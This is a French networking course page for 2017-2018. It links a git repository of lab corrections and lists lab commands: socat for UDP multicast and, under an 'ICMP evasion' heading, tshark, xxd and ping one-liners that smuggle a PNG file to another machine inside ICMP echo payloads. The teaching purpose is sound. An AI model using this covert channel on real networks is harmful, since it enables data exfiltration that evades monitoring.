Support de cours 2017-2018

Sources des corrections

Consulter les sources en ligne :

https://git.p-fb.net/pef/ResAvI_2017_2018

Cloner le dépôt git :

git clone https://git.p-fb.net/pef/ResAvI_2017_2018

Pour le TP numéro 2

Pour l'envoi/réception en UDP et multicast :

 

Client :

sudo socat stdio udp-sendto:224.0.0.127:7182,interface=eth0

 

Serveur :

socat stdio udp-recvfrom:7182,ip-add-membership=224.0.0.127:eth0,fork

Pour l'évasion avec ICMP

Sur la machine de réception:

sudo tshark -l -i wlp1s0 -T fields -e data icmp and src host 192.168.0.104 | cut -c 1-32 > contenu_hex
xxd -r -p contenu_hex > toto.png

Sur la machine d'envoi :

cat watch.png | xxd -p -c 16 | xargs -n 1 -I '{}' ping -c 1 -t 1 -p '{}' 192.168.0.130